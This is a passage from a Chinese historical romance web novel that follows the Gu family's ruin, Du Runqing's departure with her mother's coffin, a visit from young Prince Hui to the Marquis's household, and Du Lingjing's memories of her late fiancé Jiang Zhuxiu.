“天子脚下,你等敢行巫蛊之术?真是活得不耐烦了。” 他也无须再听顾扬嗣辩解。 “带走!” …… 顾家乱了。 杜润青挣开押她的人手,听见她母亲的呼喊,又跑回了房中。 但她母亲经了这一场,到了极限。 她反复道着“报应,报应”,眼中竟有血泪流出。 “娘?!” 二夫人握紧了女儿的手,血泪落下的眼睛最后看向她。 “青儿,我的儿,你当好好的过下去…… ” 话音落地,最后的回光返照熄灭了光亮。 杜润青几乎哭晕在母亲的身边。 到她恍惚地回过神来,天边的日头也落了下来。 四野黑暗无边,无人掌灯,她只听到顾府没了万老夫人和顾大老爷做主,全乱套了。 有人喊着巫蛊之事加刺杀侯爷,顾家要抄家了,要没了。 到处都是乱遭的人影和脚步声,而无人掌灯的宅邸,一片鬼气森森,仿佛阴鬼全都闯了进来。 杜润青也惊恐了起来,瑞雪前来找她。 “姑娘,我们不能在这了……” 瑞雪拉着她速速往外走。 杜润青恍恍惚惚,直到走到了大街上,灯火重新照到她眼中,她停下脚步来。 京城的路四通八达,可以通往任何地方。 可她站在路口中央,却不知道自己要往何处去。 街上的每一个人都有去处,独独她没有。四下里的灯光令她眩晕,她还能往哪里去,她还能去往哪里? “我没有娘了,也没有家了,我还能往哪里去?” 眼泪模糊了女孩的视线,视野里的一切都碎成了碎片,她只觉眼前每一个人都变成了舅舅顾扬嗣的样子,拿起剪子,要向她扎来。 她惊恐到站不住了。 有人缓步上前,出现在了她视野里。 杜润青向那人看去,她穿了一身水色衣裙,柔软的裙摆如风如水,将她视线里的一切污秽荡涤开来。 秋霖挑灯立在她身边,她则低头向她看来。 “二妹。” 是大姐。 是那个她一度讨厌极了的大姐姐。 但她提灯照出她面前,唯一清透又平和的光亮。 这一刻,她竟然不敢抬头看她,她瑟缩着在她面前低下头去,她抱着自己的肩头哭泣。 “大姐……”她羞愧。 但杜泠静没再出言训斥责备。 二妹为何会落到这等地步,并不只是她这个十五岁的小姑娘一个人的错。 是母亲的失位,父亲的不作为,是舅舅的阴毒,和她外祖母的谬论! 她还不像弟弟湛明,能得到家族的扶持,可以往书院里读书,能受到书中圣贤的教化。 她找不到人行世间,当如何为之的答案。 杜泠静安静地看着她。 “扶婶娘的灵柩,回青州老家吧。” 她叫艾叶送上一件薄软的披风,将人裹在其间。 她并未上前,但杜润青颤着抬头向姐姐看去。 此时此刻,大姐还愿意出现在她面前,跟她说上几句话…… 她眼泪控制不住,她完全不知道自己往后要怎么办。 娘生前最后一句,让她好好地过,她要怎么才能好好地过呢? 她不知所措,却见姐姐双唇轻启,如泉的嗓音,此刻清清泠泠地落在她耳中。 “青州老家有杜家的宅院,有田地,有我们的族人,还有勉楼。”杜泠静缓声。 勉楼,那个从祖父传下来的,又由两代人悉心经营,藏书万卷的勉楼。 她或可以在勉楼浩繁的书卷里,找到她想要的答案。 第78章 天热, 灵柩不能等,小弟杜湛明得了信从保定急奔到京城来,杜润青同他姐弟二人, 便要扶二夫人灵柩回乡。 这几日以来的诸多事情,都是杜泠静着人在打点, 小姐弟二人离京之前, 专程往侯府来了一趟。 两房已经分家,大姐也嫁了人,之前许多繁乱之事,她能拿得起也放得下, 都不再计较,二夫人在青州的丧事, 她不便再回去,却也送上了丧仪盘缠。 姐弟二人上门时,陆慎如也在府中,陪同他娘子去了前厅见人。 杜润青远远地便听到了侯爷的脚步声, 但她再没抬头去看, 眼观鼻鼻观心地跟湛明一起站着。 直到陆慎如步子进到厅中, 坐到了上首,两人上前行礼, 小姑娘听见弟弟叫了一声姐夫,她也规规矩矩地开了口叫了, “姐夫。” 男人点了头。 杜润青再没向他没来由地多落去什么目光,只静心听着姐姐交代了他们回乡的事。 待事情说完, 杜泠静道。 “时候不早了,你们去吧。” 若没有长姐坐镇,两个年少的小姐弟如何办的了这丧事。两人皆在长姐面前, 正儿八经叩了头。 离了侯府,他们百年扶灵柩离开了这喧闹的京城,往着久久未曾归来的青州老家而去。 顾家当真被抄了家,顾扬嗣指使人刺杀侯爷,又欲在京城行巫蛊之术,已压入大牢,只等秋后问斩。 皇上又抱了恙,并不欲大开杀戒,除了顾扬嗣之外,顾家其他人他抬手放了过去。梁氏带着儿女速速离了京城,而万老夫人那日吐血之后,人就疯了。 老仆没看住她,衣衫不整地就跑到了大街上,但凡是见了妙龄姑娘,便要去拉人家的手。 “快过来,跟我走,定能给你说一门贵亲,我可是京门月老,听老夫人的话,准没错……” 她满街乱跑地风言风语,从前请她做过媒的人家,都有些尴尬起来,脸上挂不住,满京城都在看笑。这事传进了宫里。 皇上正犯了头痛,听见万老夫人的事,捂着额头皱了眉。 “再无体面可言……” 皇上这话说完,当晚宗人令兖王便派人将万老夫人捉起来,送去了城外的庵堂里。 她好歹也算皇亲国戚。但捉她送去庵堂的时候,她还在大叫,不过到了庵堂之后就灭了声息。 又过几日,杜泠静听见消息,道是万老夫人已经没了。 黄华坊顾府充了公,某日一场暴雨冲刷过那鬼影重重的门庭,门前彻底落锁,只等往后有新主再入其中。 日子进了五月,暑热便从南方一路北上袭到京城门下。 永定侯府远岫阁。 杜泠静不免犯愁某人的伤势,“侯爷不是自幼练得铜筋铁骨吗?怎么伤势好的这么慢?” 陆慎如听得想笑。这才半月有余,再是铜筋铁骨的人,也不能立时就转好。 他问他娘子,“泉泉急什么?” 她低头看他伤势,嗓音闷闷。 “夏日来了,暑热蒸腾,会令伤势愈合得更慢。” 她惆怅,陆慎如却不禁想到了在勉楼的那年,夏日里养伤确实好的慢,他从夏初藏到她的勉楼里,一直到盛夏翻过,夏天还剩下一点尾巴,他还没好。 最后,终是伤势还没好透,他就离开了勉楼。 但多载已过,他身上的刀剑之伤早就好了,至于旁的,他抱了他的妻,“泉泉为我如此忧心,区区暑热又算什么?” 他将她圈在怀里,见她一味叹气,低头啄了她的唇。 她没躲,眨了几下眼睛,长长的睫毛刮擦他鼻梁上,痒痒地透到心上。 她是故意的,陆慎如看到妻子眼中偷藏着的笑意,忽的一转,不再啄她唇瓣,转而蹭到了她的耳朵上。 那小耳白软又细嫩,他刚蹭了两下,她就急着要推他。 方才啄唇也就罢了,眼下蹭耳,杜泠静道。 “你不怀好意。” 她又开始向朝上那些老头子一样瞪他了,陆慎如却笑起来。 “看来蹭到了要处。” 对方跳脚的,正是他不能轻易把手的。 他越发咬了她的耳垂,她肩头颤了,直要躲开,但他揽着她的腰不许她走,偏他伤着,她又不敢大动,气得咬了唇。 男人眼中的笑意都溢了出来。 她则道,“侯爷一味欺负旁人,就没想过说不准会有被旁人欺负回来的一天?” 这问题引得陆慎如更笑了。 “若是能一味欺负旁人,旁人哪来翻身的机会?” 杜泠静睁大了眼睛,再没想到这种话他都不假思索。 但她没同他辩,辩也是辩不过的。 她眨眼看向他的耳朵,忽的往他耳垂上呵了口气。 那气息从耳垂一直掠到耳后,饶是她没似他一样轻咬,酥麻的感觉就已经遍传全身。 陆侯何曾让人吹过耳朵,尤其被他的娘子。 麻意还没消散。 他闭了一瞬的眼睛,下一息直接将她压在了窗子上。 “所以欺负旁人的人,决不能让对手翻身,不然那滋味……他受不了。” 杜泠静还没将这话回过味来,就睁大眼睛见他已将她彻底押在了窗子上。 他的吻果是带着不容她翻身的气势,何止不许她翻身,她连呼吸都立时艰难了起来。 她后悔方才招惹他了。 幸而就在这时,崇平到了窗外。 “侯爷……” 崇平话还没出,他便道,“之后再说。” 杜泠静:“……” 但崇平在窗外为难。 忽的有个轻缓的声音响在了窗外。 “舅舅,舅母?” 此声一出,窗内榻上的两人皆是一愣。 慧王殿下! 小殿下怎么出宫来了?! 杜泠静趁着某人一愣,连忙抽身下了床榻,她理着自己的衣襟,男人也只好正了身形。 杜泠静小声问他,“我发髻没乱吧。” 读书人最是注重自己的仪表。 陆慎如替她理了理发簪,又让她不要慌张。 “是殿下,又不是外人,无妨。” 两人说话间,走出了门去。 杜泠静在之前的宫宴上见过慧王逢祯,但不便言语闲谈,不曾与他接近。 眼下她见逢祯就站在院中,九、十岁的男孩,身量还没张开,但看面目,与她的侯爷隐有五六分相似了。 两人上前与他见礼,又引他往书房吃茶。 陆慎如问起来,“殿下怎么出宫来了?” 这事他还真不知道。 逢祯道是临时出的宫。 “上晌孙先生讲书时,我没及时应答先生的问话,一连三次,先生生了气。母妃听闻之后,便让我出宫往先生家中,给先生赔礼。” 他见时候尚早,“就顺路到了舅舅府上。” 小殿下说的时候是笑的,陆慎如听了却沉了眉。 “不过就是未能及时应答,真当皇子是寻常人家的学生?这点耐性都没有!” 他说那给逢祯讲学的孙先生,“迂腐的老头子,以我之见,换了才好。” 杜泠静和小殿下都吓了一跳。 杜泠静再没想到他反应如此大,他虽与文臣多有不合,与士林中的读书人,也是各自两立的关系。但总来还算尊师重道,那孙先生对殿下确实失了些耐性,可他对孙先生的行为,亦一点耐性都没有。 逢祯则连忙道,“舅舅消气,我今日给先生赔礼道歉之后,先生已是谅解了我,不再责怪了。” 陆慎如却还是沉着脸,想到了什么,转而问了杜泠静。 “扈廷澜教习学生如何?我观他性情温和,颇为沉得住气,不若请他给殿下侍讲。” 文臣大多站在雍王这边,难以将小慧王的学业托付给他们,不过扈廷澜态度算得居中,为人更是中正不阿,又是正儿八经的两榜进士出身,做慧王侍读当然没问题。 杜泠静却犹豫,“就这么换先生,会不会不好?” 这位孙先生也教了慧王一年有余,除了严厉些没什么错处,逢祯也很是犹豫。 两人都看向陆慎如,陆侯却道无妨。 “我自会找个恰当的由头。” 他当真因为这点小事要换人,杜泠静见他心意已决,不好再说什么。 不过对于扈廷澜来说,之前邵伯举的事令他心志萎靡,如今调他去做侍读,说不定能让他好起来。 而他的耐性那是再好不过了。 陆慎如思定了此事,便揭过了话茬,他见日头渐渐偏西,但距离宫门落钥还有些时候,便同逢祯道,“晚上留在侯府用饭,赶在宫门落钥前回去,可好?” 逢祯当然想在宫外多逗留些之后,头点得如同小鸡啄米。 杜泠静难以想象这是金尊玉贵的皇子,在旁抿了唇笑。 逢祯却叫了她,“舅母送我的海贝风铃,不知为何,暑热天气还有消暑的效用。” 杜泠静问,“这如何说?” 她听见小殿下道,“日头最盛的时候,听到海贝里的海风声,便觉海风真吹到了身上,心中先清凉三分,便是消暑了。” 杜泠静笑起来,小皇子还留存着孩童的天真,但朝堂上早已为他风起云涌。 杜泠静见他喜爱声动,连腰上的玉佩都是特殊的样式,能发出铃铛一样的声音。 她忽的想到一物,让人取了来。 那物件远远地看见陆慎如便叫了起来,“侯爷,侯爷!” “红嘴绿鹦哥!”逢祯识得,见那鹦鹉直叫侯爷,问道,“这鹦哥竟认识舅舅。” 杜泠静道,“不光认识,侯爷怎么说话它也知道。” 她这话刚出口,那鹦鹉就叫了起来。 “重重有赏,重重有赏!” 男人无奈地笑瞥了杜泠静一眼。 她可真会教好话,还给他小外甥听。 逢祯则笑得快透不过气了,同杜泠静道,“舅母,待我回去告诉母妃,母妃定也要笑得喘不过气。” 他不由看去自己的舅舅,见舅舅一边笑瞥着舅母,一边去捏舅母的手,舅母不断地想把手抽开,但舅舅就是不让她走。 两人相对而视的目光里,似乎都在说话。 真好。逢祯看呆了一息。 父皇虽对母亲荣宠有加,但父皇有不止一位妃嫔,他更是有自己正宫皇后,与母妃之间,也再没有舅舅同舅母这般笑语融融的时候,反而父皇说得每一句话,母妃都细细听了,费神思量…… 杜泠静吩咐人去备饭了,陆慎如却道把饭摆在浮空阁上。 那是侯府仅次于漱石亭的高阁,杜泠静有时候会带着几本书,往浮空阁上远眺听风。 但他们甫一上了高阁之中,陆侯让人将他的笛子取了来。 小殿下已欣喜得不知所措,“舅舅要吹笛吗?” 他没听过。 还有一个人也没听过。 陆慎如向她看去,见她同逢祯左右站着,也如逢祯一样睁大的眼中含了好奇的惊喜。 他轻笑。 两个小孩。 他目色柔和地看过两人,执笛站在了窗下。 崇平将高阁四面的窗子全部打开了来,这一瞬,高阁变成了高台。 风呼呼穿过,翻飞起衣摆,他屏气起笛,笛声悠扬响起,又渐渐从风里腾跃而上。 他吹得是杜泠静并不熟悉的曲子,但他笛声就如同驾驭在马背上,驰骋在大漠里,辽阔嘹亮,仿佛能把风震出波澜。 恍惚间,杜泠静好似看到了他在西北指挥千军万马的模样。 她愣住,想起了崇平的话。 他说,侯爷脱下战袍,放下长剑,一路离开自幼长大的西北,来到这波云诡谲的京城。 他说他不远万里,是为他身后千千万万的永定军而来。 西北是他自幼长大的故土,而他亦一心向往江南,但他哪里都去不了,唯独只能立身在京城之中。 即便有那些文臣仕子,骂他相当乱臣贼子,是给满门忠烈的永定侯府蒙羞,他也横刀立马,绝不动摇…… 浮空阁上风浪四起。 直到一曲笛声罢,高阁里静静的,仿佛曲声还在回荡。 陆慎如看向两人,“怎么一个两个都呆了?” 逢祯愣愣眨着眼睛,“舅舅怎么吹得比授笛的先生还气息平稳又气势磅礴?” 陆慎如笑出声,崇平在旁回道。 “侯爷自还没启蒙,就已会在马背上吹笛,自是气息平稳不乱。” 至于气势磅礴,因为侯爷笛下,是西北绵延千里边关下的千军万马。 陆慎如又瞧了自己的娘子,这仔细一看—— 怎么眼睛还红了? 他微微挑眉,杜泠静连忙眨着眼睛收了神思。 她说吹得实在是太好了,“若是胡笛,会否比此更有气势?” 她轻声同他道,“勉楼里,有一根祖父友人赠他的胡笛,我练过,却吹不明白。” 她道,“那笛子一度坏了,却又某日莫名好了,就敢在祖父忌日之前,想来有些灵性。” 她问他要不要,她让人从青州取来。 陆慎如看了她一眼。 坏了的笛子怎么可能莫名变好? 真是个呆子。 但他不要那笛子。 他祖父送出去的东西,他哪有收回来的道理? 他笑着,去问小外甥要不要吹吹笛子。 难得有请舅舅指点的机会,逢祺也吹了新学的曲子,陆慎如耐心给外甥指导了许久,眼见日头西沉,到了吃饭的时候。 恰有幕僚来寻,陆慎如道一旁同人说了几句。 杜泠静则叫了逢祯。 “殿下,准备用饭吧。” 但不知逢祯是否过于专注手中的笛子,并没听到。 杜泠静又轻声说了一遍。 他还是没听到。 杜泠静一愣,却见陆慎如走了过来,他没叫逢祯,而是径直走到了他身侧,握了男孩的肩头。 “殿下,用饭了。” 逢祯这才听见。 三人一起用了饭,时候就不早了。 陆慎如和杜泠静将小殿下一路送到了宫门口,赶在宫门关闭之前,小殿下一步三回头地同他们拜着手,依依不舍地离去。 次日他便让人给舅舅和舅母都送了东西。 给舅舅的是个巴掌大小的玉笛,陆慎如试了试,还真能吹,且准,不过这般大小,更似个挂件。 而给杜泠静的则是玉雕的铃铛,能系在腰间。 陆慎如却瞧出这铃铛的来头,“是殿下幼时的爱物,他喜欢有声动的东西,这对铃铛还是娘娘特意寻人为他制的,用的是极品羊脂玉。” 同一块玉料,贵妃还给彼时尚在她膝下的雍王逢祺,也雕了一块玉牌。 一玉同出两物,分赠兄弟二人。 但早已时过境迁。 * 蒋枫川道翰林院任了职。 祝奉连同一众交好的旧友,请了他往秉烛楼里吃饭。 不过蒋枫川不让众人请他,“诸位都是兄长,都比六郎年长,今次又是为我庆贺,怎能让兄长们破费?” 更紧要的一点,他们都是蒋竹修生前的友人。 “从前各位兄长都对家兄多有帮衬,六郎代他,在此谢过了!” 他举杯敬了众人又自饮,连饮三杯,有人道了一句。 “你们兄弟二人真是,谦筠生前给我们都寄了信,拜托我们一定照顾你,如今他没了,你登科来了京城,又替他道谢我等的帮衬。” 他说众人其实也没帮得上什么,“但你们兄弟这等情谊,时间也不多见。” 世间兄弟手足,能和和睦睦就已是缘分,多的是因家产挣得头破血流,互为仇敌。 哪有蒋氏兄弟二人这般兄友弟恭,情真意切。 偏偏,蒋三郎和蒋六郎,还不是一母同胞的亲兄弟。 蒋谦筠已逝,众人提及英年早逝的旧友多有怅然,吃上几杯酒,更为他感叹。 “我们以前都羡慕谦筠,说他是解元出身,本就高于众人,而杜阁老又看上了他,要招他做东床快婿,娶得更是那东香阁主。若杜阁老没有意外过身,谦筠也不曾病逝,前途必然不可限量,以他的才能,亦可登临台阁。谦筠娶得是他青梅竹马的心上之人,如何不让人艳羡。” 杜泠静在士林中的名头,多用父亲随口取来的那玩笑的“东香阁主”此名。 父亲是住在上房的上芳散人,她是住在东厢的东香阁主,但“上芳散人”用的不多,“东香阁主”却是流传开来。 他们说起杜泠静,都叹了气。 杜家那位姑娘,最后竟是嫁进了永定侯府。 不知谁人道了一句,“谦筠对她,可不是一般的上心。怎么同她就没修成正果?” 众人皆叹息不已,蒋竹修老友祝奉却没说什么。 蒋枫川坐到他身边与他吃酒,祝奉不怎么想喝,一直托腮看向窗外永定侯府的方向。 “兄长在想什么?”蒋枫川问。 祝奉默了默,不同于众人的一味叹息,他有些怅然又有些恍然。 “我在想三郎他,是不是已经料到了今日的情形。” 他轻声,“从前有些事,我看不懂三郎为何为之,但如今再回想,许多事似乎首尾呼应起来了。” 第79章 祝奉忆起蒋竹修, 说他在青州养病的年月,还一直关注着朝堂。 “邸抄什么的,从不遗漏, ”这一点蒋枫川知道,这会又听祝奉道, “有些事, 只有京中朝堂里的人才知道的,不便在邸抄上细呈的,我还没说,谦筠就会立时发现有内情暗含, 专门写信问来。” 祝奉说他们这些人,都被蒋谦筠问过。 “我们还曾一起说笑, 说蒋谦筠了不得,心细如发,等到身子养好了,说不定朝为田舍郎, 暮登天子堂!” 但他身子始终未见好转, 反而一年比一年差。 蒋枫川一时没说话, 祝奉轻叹一气。 他说到殷佑六年的时候,京中确实出了大事。 年初太子薨逝, 始料未及,皇后遭受巨大打击病倒。太子丧仪之后, 群臣商议再立太子,立的当然是雍王。 雍王一向养在贵妃膝下, 皇上再无嫡子,立他这长子再无疑问,彼时并无人提及慧王之事。 但皇上未决断, 到了夏末秋初,陆侯突然离开西北,进了京城。但要拥立的不是雍王,是慧王。 持续多年的储君之争,从那年年尾就开始了,待到次年春末,文臣催促皇上立储,让雍王入主东宫,还道废长立幼,乃是祸国之举,让皇上务必尽快决断。 这一场声势浩大,可一举激怒了年轻的陆侯。 陆慎如连同锦衣卫在京城打死抓人,这些文臣做官多年,也难保没有点错处,被他抓进去不知多少。 整个京城但凡谁说一句二话,都要吃他排头。 就这时,廖先生竟一不留神牵扯了进去。陆侯在京抓了这么多人,根本也顾不上具体都抓了谁。 “但我把消息送去青州之后,谦筠却着了急。” 祝奉说他最开始以为,蒋竹修着急是因为廖先生是拂党中人,更是先杜阁老新政时的得力干将。 他继续说起了廖先生被陆侯责打的事,“我料想陆侯都不知道他手下的人抓了廖先生一顿打,但谦筠却着急地差点来了一趟京城,实是因为身子不好没能成行,可却托蒋太妃娘娘,为廖先生请了一位太医。” 他说陆侯正在怒头上,谁人敢请太医,给他责打的人看伤? “谦筠不知怎么央求了太妃,太妃请了一位太医悄悄给廖先生看了一回。太医用药自是比寻常大夫高上一筹,廖先生这才早早转好,没伤了腿脚。” 这事自然不可能记在杜泠静的名上,廖先生知道是蒋竹修替他请了太医,后来托祝奉给蒋竹修送了谢信和谢礼。 这事蒋枫川不知道,他问祝奉,“哥怎么说?” 祝奉摇了头,说蒋竹修什么都没说,“就像是松了口气,没酿成什么大错就很好了。但他也就此托了我,让我帮忙多看着些那位陆侯与拂党众人之间的情形,若再有类似的事,万万早早告知他。” 祝奉那会以为陆侯与文臣不和,而拂党众人又都过于耿直,摩擦是少不了的。 “可我再没想到,谦筠的未婚娘子,”他说杜泠静,“最后竟就嫁给了陆侯。” “难道谦筠彼时就料到了今日之事。” 那是四五年前的事了,祝奉半解不解。 蒋枫川定在了那处,“哥认识陆慎如?” 祝奉不知道,“就算认识陆侯,又怎么能想到,陆侯往后要娶的,正是他蒋谦筠的未婚妻?” 祝奉这话没同旁人说过,只是觉得奇异,可他身侧,蒋枫川突然道了一句。 “必然认识,甚至哥可能根本就知道,他看上了他的未婚妻。” 换句话说,多年前之前,陆侯就已虎视眈眈。 祝奉吃了一惊,连忙按住了蒋枫川。 “六郎可不敢乱说。” 陆侯爷到底是在谦筠过世后三年,才娶了杜家姑娘过的门,也许之前的一切只是巧合而已? 蒋枫川却不这样认为。 毕竟那圣旨赐婚,并非皇上之意,而是他陆慎如强行要来的。 而他三哥,更是以苦楝入药,日日饮下,自戕身死! 他手下紧紧攥了起来,攥到指骨发白。 所以,是陆慎如强压他,才令他不得不自戕,是不是? 偏偏,哥不让她知道,他到底是怎么没的…… 有人来找他们吃酒,祝奉把话头揭了过去,说起了另一桩事。 “谦筠行事,自有他的道理。” 他说蒋竹修生前同拂党众人的联络不曾停过,每每拂党众人有调动,他远在青州,也会想办法为众人活动,若不成也送些钱财,盼他们不要因朝局而陷入困境。 “这倒也算人之常情。但谦筠做这些事却与旁人不一样。” 祝奉说到此处顿了一下,蒋枫川问了一句,“哥怎么与旁人不一样?” 祝奉答道,“旁人出手相帮,就算不是为了被记住恩情,也没什么不能报上自己名讳的。但谦筠去帮扶那些拂党人,很少以他自己的名头。” 他道,“他都是以杜家的名义,用的是东香阁主的名头。” 他是以杜泠静之名去帮拂党之人。 蒋枫川不禁想到拂党众人被困保定山里的时候,他们提及她,对她的态度,信任又熟稔,就算相隔甚远,多年不见,也不曾生疏。 他原以为,她是杜阁老的女儿,是他们看着长大的,逢年过节她与他们也有往来。 但如今看来,原来不止如此。 蒋枫川讶然。 哥竟为她做到这等地步?是为她日后离开书楼,离开青州,提前将路都疏通好? 怕她离开熟悉的老家,出门在外,孤身一人,再无帮衬? 蒋枫川说不出心中是何滋味,他深深闭起眼睛。 她知道吗?显然她不知道。 连他这个做兄弟的都不知道,只有哥帮忙拜托的这些旧友,零零散散地看出了一二。 有人在酒中怅叹。 “老天爷看似什么都给谦筠了,其实什么又都没给他。” * 陆慎如说要给小外甥换先生,没两日就找个了由头,准备把那孙老先生调去了山西学道上,以那孙先生教育学生的严厉做派,皇子吃不消,寻常举业的书生却习以为常。 孙先生对此颇为满意,毕竟只教授小皇子读书,施展不开拳脚,他还托人想来问陆侯是有何用意,陆慎如自不会真话同他讲,恨不能赶紧将他打发走了才好。 但课业不便停,他今日就让扈廷澜给逢祯试讲一堂。 他午后离府,亲自往宫里旁听去了。 杜泠静想起自己是父亲开蒙的,但后来父亲太忙顾不上她,请了西席先生上门,父亲也曾亲自旁听过新先生的课,一如侯爷今日。 想来比起皇上这位生父,侯爷这舅舅,更似小殿下的父亲。 杜泠静恰也无事,京中考生渐渐散去,印社的赵掌柜都告了假,说要休歇几日。杜泠静允了他,自己则出了趟门,去了崇教坊的书肆闲逛。 崇安一听她要出门去书肆,吓得腿上还没好利索,就要亲自随行。 杜泠静真的只是去挑几本书而已,但见崇安紧张,便让菖蒲将他一道带上。 菖蒲还问他,“安侍卫冒汗做什么?实在紧张的话,不若找根绳,把你我绑起来?” 崇安绑他有什么用,他是怕夫人又走了! 但绳子总不能绑在夫人身上。 他一错不错地看着杜泠静,杜泠静想到之前也是难为了他,便由着他看。 只是她刚到崇教坊的一家书肆,就碰到一个许久不见的人。 “祝二哥?” 祝奉,行二,他比蒋竹修还年长两岁。 她叫出声,祝奉便回头看见了她。 “静……”话没说完,连忙改了口,“陆侯夫人。” 他改了往日称呼,面上似乎也有些尴尬之意。 杜泠静虽不觉有什么特别尴尬之处,但见祝奉如此,未提她今日的身份,只是看向他手中拿着的一本厚书里,夹着一张纸条。 她略略意外,“祝二哥也喜好在书中夹纸条?莫不是同人传信?” 就如同她和扈亭君少时一般。 她眸中含了笑,目光扫过祝奉书中那张纸条。 祝奉没想到她会有此一问,他确实是在同人传信,但这张纸条却不是他写的。 杜泠静未看清纸条上面的内容,去看到了落墨其上的一笔字。 她眨了一下眼睛,怔着。 “谦筠的字……” 是蒋谦筠的字,更是他留下的一张久远的字条。 祝奉是近日忆起蒋竹修的旧事,才想到与过世的老友,年少时还曾有过玩笑般的旧约。 他来赴约了他的约,却没想到在这里,竟见到了他已经嫁了人的未婚妻。 若说祝奉方才还有些不可思议的尴尬,此刻见杜泠静认出来蒋竹修的字,他也没什么可尴尬了。 他道谦筠在京城的时候,曾在他常来书肆看的书里,给他留过纸条。谦筠没提前告知他,而他家贫,又只能来书肆翻看此书,第一次翻到谦筠留下的纸条的时候,还以为这是什么通灵的术法。 “我后来才晓得,是他故意给我留的,我二人凭此,在书中颇为传了些无关紧要的话,但每每翻书翻到,心里仍觉惊喜。” 他说到此处,杜泠静就愣住了。 “谦筠同你,也有如此耍玩?” 祝奉说那是年少时候的事了,“我也不知他是怎么想到的,后来专门问了他,他先一直笑,后来才道是有人告诉他的。” 祝奉不知道是谁。 杜泠静的目光却一直落在那张纸条上。 这是她与亭君之间的玩乐,她只告诉过两个人,一个是父亲,另一个便是来京看病求学的三郎。 那是殷佑元年,新皇继位之后改号,谦筠与年初来京城求学也看病。 他从前就来过京城,大概隔一两年来一次,每次父亲招待蒋家人,她陪同在侧,同这位蒋家的三哥说话。 但那年不太一样,谦筠的父亲临行前意外跌了腿,不便同他一道上路,独谦筠一人来了京里。 先皇薨逝之后,太妃娘娘与裕王府皆替先帝守孝,不便招待来人,父亲不放心他一个人在京城典院居住,干脆将他留在了澄清坊杜家,让他住到了西跨院中。 他比她略长两岁,但学问上已有些自己的见解,父亲考较了他两次之后,还曾说过,“三郎今岁秋闱,怕不是一举夺魁,取了个解元的名头回家?” 不曾想后来还真就被父亲言中,三郎在那年秋闱正就名列榜首。 他学问身后独到,却从无盛气凌人之势,杜泠静起初问他,还抱着半个学生对先生的心态,但后来却渐渐与他无话不谈。 他总会给她沏上一杯茶,耐心地听她说话,其实她的话不到,但到了他面前,却连日常的小事,也能说得一二,偏他还煞有介事地评上两句。 与和亭君之间的玩耍,她毫无疑问一定告诉过他,但她根本记不清细节了。 没想到他记得,竟与祝奉也有夹在书中,纸条传信的往来。 杜泠静不禁出了神。 就在那年,祖父突然过世,祖父身体分明一直朗健,但前脚生病的信从青州传来,后脚老家再来传信,祖父就已经过世了。 她惊愕不已,见父亲极其地沉默,闷在书房当中,眼中含了水光。 父亲如此,她更加难过,却又不想在父亲面前落泪,夜间睡不着,独自跑去后面小花园的竹林里,一个人坐在竹林里的小石凳上抹泪。 那晚有人提灯走了过来,灯火映在他竹青色的长袍上,一时间,她还以为是竹林里的神祇。 直到他走近,她反应过来,低头抱歉。 “蒋三哥,对不住,我吵到你休歇了。” 他摇摇头,“没有。” “那你怎么夜里到了竹林中?”一定是她吵醒了他。 但他还是摇头。 小姑娘含泪向他看去,听见他轻声道。 “我上辈子恐怕是个竹精,以至于这辈子,也需每晚到竹林里吸取竹香,才能安眠。” 他说得一本正经,好像这事是真的,至少也是道士批命时这么说得。 杜泠静都愣了,一时忘了再哭泣,而后才回过神来。 他在哄她。 那么谦逊正经的人,也会说笑话来哄她。 杜泠静眼泪更落了几行,他不禁慌乱了两分。 “我说错了?” 不是,杜泠静也说不清她为何又落泪,他却递上了他的帕子。 一方打湿,他又递来一方,又打湿,又递来。 她不由地问了他一句,“三哥到底带了多少帕子给我?” 她扫见他袖中鼓鼓的。 但他却不承认,只道,“就这三方。” 杜泠静料想她再哭,他还有干净帕子给她,毕竟是那鼓鼓的一袖子。 他却柔声开了口,“泉泉,别哭了,你眼睛不好。” …… 那年他本是要提前回乡,准备秋闱。但因着她祖父的事,他多留了些日子。 皇上没夺情,父亲要回乡守制,本就冷下来的新政只能草草结尾。父亲顾不上的诸事,全是三郎拖着病体,跑前跑后料理,又替她把府里的庶务皆料理妥当,与他们一道回了山东。 从那之后,她就知道她眼里没有旁人了。 再后来他们定了亲,她想她一定能嫁给他,他也一定会娶她过门。 但竹林里却只剩下了了清风,再没有了那个装了满袖子帕子,提灯前来的身影…… 祝奉没想到,被丢弃在架子顶端的旧书留,竟还留了一张多年前的旧纸条。 “这兴许是谦筠给我留下最后的东西了。” 他将那张旧纸条夹在自己新买的书里。 接着他跟杜泠静告辞离去。 杜泠静一直看着他手里那夹了三郎留下的旧纸条的书,直到他拿着书远远地不见了身形。 她的目光还在那处,定了许久。 * 积庆坊永定侯府。 陆慎如从宫里回了府里。 今日扈廷澜给逢祯试讲,他从头到尾地听了。 扈廷澜的长子与逢祯年岁恰相差不大,颇懂得这个的年岁孩子的心思。他教上一阵,就停歇一阵,看似慢,但他在上面讲书沉稳平和,下来近身在他耳边指点,温和耐心。 一堂课下来,小殿下看他的眼神都不一样了,还问,“先生明日还来吗?” 陆慎如甚是欣慰,此事落定了下来, 此事定下,他松口气回了家,听说他娘子也刚回来,往内院换衣去了。 他问了句,“夫人怎么去了书肆这么久?” 若有看中的书,何不直接买回家来? 但崇安低声回道,“夫人今日,遇到了一位友人。” 陆慎如目光问去,听见崇安道。 “是蒋解元的同窗旧友祝二郎祝奉,夫人见过他后,颇为出了一阵神。” 话音落地,男人默了一默。 “知道了。”他没再说什么。 刚从书房换了衣裳走出来,便见他娘子从内院过来寻了他。 “侯爷回来了?” 她见他脚步往外走。 “这么晚了还要出门吗?” 男人摇头,听见她又问。 “今日伤口疼了吗?” 她一连三问,陆慎如将目光落在她眼睛上。 自他受伤之后,她对他态度十二分变化,变化得连他都有些不敢信。 她对他极其上心,她甚至主动叫他“夫君”。 只是,他在她心里,比之蒋竹修,又是如何位置? 第80章 今夜无星无月, 云层厚厚压在京城的夜空里,陆慎如晚间没怎么睡着,伤处有些隐隐的痛。 他娘子睡得正香, 他没扰她,撩开纱帐下了床。 远岫阁庭院里树梢不动, 刚入了夏, 暑热就在空气里徘徊,连夜间也不曾散去。 臂膀处又疼了一疼,陆慎如站在庭院闷热的空气中,不免想到了那年在勉楼, 伤口疼着,空气闷着, 情形颇有几分相似。 他在几日前将她拦在了月亮门转角处,他避在阴影里,不便被人看见,却想跟她多说两句, 但她看都不肯看他一眼。 “我不想知道公子是什么人, 也不想知道公子要跟我说什么。我只知道, 你我不该再见。” 说完,她再不容他多言, 便从月亮门中决然离去。 二弟听说之后,不知如何是好, 见他一连多日沉默寡言,素来调皮的二弟也跟着他安静了下来。 他伤还没养好, 